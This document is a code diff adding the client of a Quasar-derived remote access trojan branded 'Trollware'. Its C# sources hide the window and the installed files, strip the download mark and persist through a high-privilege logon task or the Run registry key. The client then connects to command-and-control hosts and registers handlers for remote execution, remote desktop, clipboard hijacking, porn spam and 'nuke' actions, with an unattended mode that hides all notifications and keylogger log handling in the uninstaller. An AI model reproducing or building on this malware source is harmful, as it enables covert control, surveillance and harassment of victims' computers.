||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// This code was generated by a tool.
|
||||
// Runtime Version:4.0.30319.42000
|
||||
//
|
||||
// Changes to this file may cause incorrect behavior and will be lost if
|
||||
// the code is regenerated.
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace Quasar.Client.Properties {
|
||||
|
||||
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")]
|
||||
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
|
||||
|
||||
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
|
||||
|
||||
public static Settings Default {
|
||||
get {
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,80 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk.WindowsDesktop">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net452</TargetFramework>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Client</AssemblyName>
|
||||
<UseWindowsForms>true</UseWindowsForms>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
<Platforms>AnyCPU</Platforms>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'">
|
||||
<OutputPath>..\bin\Debug\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<DebugType>portable</DebugType>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'">
|
||||
<DebugType>none</DebugType>
|
||||
<OutputPath>..\bin\Release\</OutputPath>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<StartupObject>Quasar.Client.Program</StartupObject>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationManifest>app.manifest</ApplicationManifest>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Security" />
|
||||
<Reference Include="System.Speech" />
|
||||
<Reference Include="System.Web" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Update="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Update="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
<DesignTime>True</DesignTime>
|
||||
</Compile>
|
||||
<None Update="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Update="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Quasar.Common\Quasar.Common.csproj" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="AForge">
|
||||
<Version>2.2.5</Version>
|
||||
</PackageReference>
|
||||
<PackageReference Include="AForge.Video">
|
||||
<Version>2.2.5</Version>
|
||||
</PackageReference>
|
||||
<PackageReference Include="AForge.Video.DirectShow">
|
||||
<Version>2.2.5</Version>
|
||||
</PackageReference>
|
||||
<PackageReference Include="ILRepack.Lib.MSBuild.Task">
|
||||
<Version>2.0.18.2</Version>
|
||||
</PackageReference>
|
||||
<PackageReference Include="MouseKeyHook">
|
||||
<Version>5.6.0</Version>
|
||||
</PackageReference>
|
||||
<PackageReference Include="protobuf-net">
|
||||
<Version>2.4.8</Version>
|
||||
</PackageReference>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,242 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Messages;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.DNS;
|
||||
using Quasar.Common.Helpers;
|
||||
using Quasar.Common.Messages;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client
|
||||
{
|
||||
/// <summary>
|
||||
/// The client application which handles basic bootstrapping of the message processors and background tasks.
|
||||
/// </summary>
|
||||
public class QuasarApplication : Form
|
||||
{
|
||||
/// <summary>
|
||||
/// A system-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public SingleInstanceMutex ApplicationMutex;
|
||||
|
||||
/// <summary>
|
||||
/// The client used for the connection to the server.
|
||||
/// </summary>
|
||||
private QuasarClient _connectClient;
|
||||
|
||||
/// <summary>
|
||||
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||
/// </summary>
|
||||
private readonly List<IMessageProcessor> _messageProcessors;
|
||||
|
||||
/// <summary>
|
||||
/// Keeps track of the user activity.
|
||||
/// </summary>
|
||||
private ActivityDetection _userActivityDetection;
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether an installation is required depending on the current and target paths.
|
||||
/// </summary>
|
||||
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
|
||||
|
||||
/// <summary>
|
||||
/// Notification icon used to show notifications in the taskbar.
|
||||
/// </summary>
|
||||
private readonly NotifyIcon _notifyIcon;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="QuasarApplication"/> class.
|
||||
/// </summary>
|
||||
public QuasarApplication()
|
||||
{
|
||||
_messageProcessors = new List<IMessageProcessor>();
|
||||
_notifyIcon = new NotifyIcon();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the application.
|
||||
/// </summary>
|
||||
/// <param name="e">An System.EventArgs that contains the event data.</param>
|
||||
protected override void OnLoad(EventArgs e)
|
||||
{
|
||||
Visible = false;
|
||||
ShowInTaskbar = false;
|
||||
Run();
|
||||
base.OnLoad(e);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes the notification icon.
|
||||
/// </summary>
|
||||
private void InitializeNotifyicon()
|
||||
{
|
||||
_notifyIcon.Text = "Trollware\nNo connection";
|
||||
_notifyIcon.Visible = true;
|
||||
try
|
||||
{
|
||||
_notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
_notifyIcon.Icon = SystemIcons.Application;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins running the application.
|
||||
/// </summary>
|
||||
public void Run()
|
||||
{
|
||||
// decrypt and verify the settings
|
||||
if (!Settings.Initialize())
|
||||
Environment.Exit(1);
|
||||
|
||||
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||
|
||||
// check if process with same mutex is already running on system
|
||||
if (!ApplicationMutex.CreatedNew)
|
||||
Environment.Exit(2);
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||
|
||||
var installer = new ClientInstaller();
|
||||
|
||||
if (IsInstallationRequired)
|
||||
{
|
||||
// close mutex before installing the client
|
||||
ApplicationMutex.Dispose();
|
||||
|
||||
try
|
||||
{
|
||||
installer.Install();
|
||||
Environment.Exit(3);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
// (re)apply settings and proceed with connect loop
|
||||
installer.ApplySettings();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
|
||||
if (!Settings.UNATTENDEDMODE)
|
||||
InitializeNotifyicon();
|
||||
|
||||
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
|
||||
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
|
||||
_connectClient.ClientState += ConnectClientOnClientState;
|
||||
InitializeMessageProcessors(_connectClient);
|
||||
|
||||
_userActivityDetection = new ActivityDetection(_connectClient);
|
||||
_userActivityDetection.Start();
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
// Start connection loop on new thread and dispose application once client exits.
|
||||
// This is required to keep the UI thread responsive and run the message loop.
|
||||
_connectClient.ConnectLoop();
|
||||
Environment.Exit(0);
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
|
||||
private void ConnectClientOnClientState(Networking.Client s, bool connected)
|
||||
{
|
||||
if (connected)
|
||||
_notifyIcon.Text = "Trollware\nConnection established";
|
||||
else
|
||||
_notifyIcon.Text = "Trollware\nNo connection";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
/// <param name="client">The client which handles the connection.</param>
|
||||
/// <remarks>Always initialize from UI thread.</remarks>
|
||||
private void InitializeMessageProcessors(QuasarClient client)
|
||||
{
|
||||
_messageProcessors.Add(new ExecutionHandler());
|
||||
_messageProcessors.Add(new BeepSpamHandler());
|
||||
_messageProcessors.Add(new DrunkModeHandler());
|
||||
_messageProcessors.Add(new FartScrollHandler());
|
||||
_messageProcessors.Add(new NukeHandler());
|
||||
_messageProcessors.Add(new PianoHandler());
|
||||
_messageProcessors.Add(new ClientServicesHandler(this, client));
|
||||
_messageProcessors.Add(new ClipboardHijackHandler());
|
||||
_messageProcessors.Add(new ColorInvertHandler());
|
||||
_messageProcessors.Add(new CursorChaosHandler());
|
||||
_messageProcessors.Add(new EyesHandler());
|
||||
_messageProcessors.Add(new GhostTypingHandler());
|
||||
_messageProcessors.Add(new JumpscareHandler());
|
||||
_messageProcessors.Add(new MessageBoxHandler());
|
||||
_messageProcessors.Add(new PornSpamHandler());
|
||||
_messageProcessors.Add(new RemoteDesktopHandler());
|
||||
_messageProcessors.Add(new SchizophreniaHandler());
|
||||
_messageProcessors.Add(new TextToSpeechHandler());
|
||||
_messageProcessors.Add(new TrollExtrasHandler());
|
||||
_messageProcessors.Add(new WebsiteVisitorHandler());
|
||||
|
||||
foreach (var msgProc in _messageProcessors)
|
||||
{
|
||||
MessageHandler.Register(msgProc);
|
||||
if (msgProc is NotificationMessageProcessor notifyMsgProc)
|
||||
notifyMsgProc.ProgressChanged += ShowNotification;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
private void CleanupMessageProcessors()
|
||||
{
|
||||
foreach (var msgProc in _messageProcessors)
|
||||
{
|
||||
MessageHandler.Unregister(msgProc);
|
||||
if (msgProc is NotificationMessageProcessor notifyMsgProc)
|
||||
notifyMsgProc.ProgressChanged -= ShowNotification;
|
||||
if (msgProc is IDisposable disposableMsgProc)
|
||||
disposableMsgProc.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
private void ShowNotification(object sender, string value)
|
||||
{
|
||||
if (Settings.UNATTENDEDMODE)
|
||||
return;
|
||||
|
||||
_notifyIcon.ShowBalloonTip(4000, "Trollware", value, ToolTipIcon.Info);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
CleanupMessageProcessors();
|
||||
_userActivityDetection?.Dispose();
|
||||
ApplicationMutex?.Dispose();
|
||||
_connectClient?.Dispose();
|
||||
_notifyIcon.Visible = false;
|
||||
_notifyIcon.Dispose();
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientInstaller : ClientSetupBase
|
||||
{
|
||||
public void ApplySettings()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
di.Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Install()
|
||||
{
|
||||
// create target dir
|
||||
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
|
||||
{
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
}
|
||||
|
||||
// delete existing file
|
||||
if (File.Exists(Settings.INSTALLPATH))
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(Settings.INSTALLPATH);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (ex is IOException || ex is UnauthorizedAccessException)
|
||||
{
|
||||
// kill old process running at destination path
|
||||
Process[] foundProcesses =
|
||||
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
|
||||
int myPid = Process.GetCurrentProcess().Id;
|
||||
foreach (var prc in foundProcesses)
|
||||
{
|
||||
// dont kill own process
|
||||
if (prc.Id == myPid) continue;
|
||||
// only kill the process at the destination path
|
||||
if (prc.MainModule?.FileName != Settings.INSTALLPATH) continue;
|
||||
prc.Kill();
|
||||
Thread.Sleep(2000);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
|
||||
|
||||
ApplySettings();
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
|
||||
|
||||
//start file
|
||||
var startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
FileName = Settings.INSTALLPATH
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using Quasar.Client.User;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public abstract class ClientSetupBase
|
||||
{
|
||||
protected UserAccount UserAccount;
|
||||
|
||||
protected ClientSetupBase()
|
||||
{
|
||||
UserAccount = new UserAccount();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientStartup : ClientSetupBase
|
||||
{
|
||||
public void AddToStartup(string executablePath, string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
||||
"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
||||
true);
|
||||
}
|
||||
|
||||
public void RemoveFromStartup(string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUninstaller : ClientSetupBase
|
||||
{
|
||||
public void Uninstall()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
|
||||
{
|
||||
// this must match the keylogger log files
|
||||
Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");
|
||||
|
||||
foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
|
||||
.Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(logFile);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// no important exception
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUpdater : ClientSetupBase
|
||||
{
|
||||
public void Update(string newFilePath)
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||
throw new Exception("No executable file.");
|
||||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.User
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
|
||||
/// </summary>
|
||||
public class ActivityDetection : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// Stores the last user status to detect changes.
|
||||
/// </summary>
|
||||
private UserStatus _lastUserStatus;
|
||||
|
||||
/// <summary>
|
||||
/// The client to use for communication with the server.
|
||||
/// </summary>
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
/// <summary>
|
||||
/// Create a <see cref="_token"/> and signals cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationTokenSource _tokenSource;
|
||||
|
||||
/// <summary>
|
||||
/// The token to check for cancellation.
|
||||
/// </summary>
|
||||
private readonly CancellationToken _token;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
|
||||
/// </summary>
|
||||
/// <param name="client">The name of the mutex.</param>
|
||||
public ActivityDetection(QuasarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
client.ClientState += OnClientStateChange;
|
||||
}
|
||||
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
// reset user status
|
||||
if (connected)
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the user activity detection.
|
||||
/// </summary>
|
||||
public void Start()
|
||||
{
|
||||
new Thread(UserActivityThread).Start();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
|
||||
/// </summary>
|
||||
private void UserActivityThread()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (IsUserIdle())
|
||||
{
|
||||
if (_lastUserStatus != UserStatus.Idle)
|
||||
{
|
||||
_lastUserStatus = UserStatus.Idle;
|
||||
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (_lastUserStatus != UserStatus.Active)
|
||||
{
|
||||
_lastUserStatus = UserStatus.Active;
|
||||
_client.Send(new SetUserStatus { Message = _lastUserStatus });
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
|
||||
/// </summary>
|
||||
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
|
||||
private bool IsUserIdle()
|
||||
{
|
||||
var ticks = Environment.TickCount;
|
||||
|
||||
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
|
||||
|
||||
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
|
||||
|
||||
return (idleTime > 600); // idle for 10 minutes
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this activity detection service.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
_client.ClientState -= OnClientStateChange;
|
||||
_tokenSource.Cancel();
|
||||
_tokenSource.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using Quasar.Common.Enums;
|
||||
using System;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace Quasar.Client.User
|
||||
{
|
||||
public class UserAccount
|
||||
{
|
||||
public string UserName { get; }
|
||||
|
||||
public AccountType Type { get; }
|
||||
|
||||
public UserAccount()
|
||||
{
|
||||
UserName = Environment.UserName;
|
||||
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
|
||||
{
|
||||
WindowsPrincipal principal = new WindowsPrincipal(identity);
|
||||
|
||||
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
|
||||
{
|
||||
Type = AccountType.Admin;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.User))
|
||||
{
|
||||
Type = AccountType.User;
|
||||
}
|
||||
else if (principal.IsInRole(WindowsBuiltInRole.Guest))
|
||||
{
|
||||
Type = AccountType.Guest;
|
||||
}
|
||||
else
|
||||
{
|
||||
Type = AccountType.Unknown;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Client.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides access to the Win32 API.
|
||||
/// </summary>
|
||||
public static class NativeMethods
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct LASTINPUTINFO
|
||||
{
|
||||
public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
|
||||
[MarshalAs(UnmanagedType.U4)] public UInt32 cbSize;
|
||||
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool FreeLibrary(IntPtr hModule);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
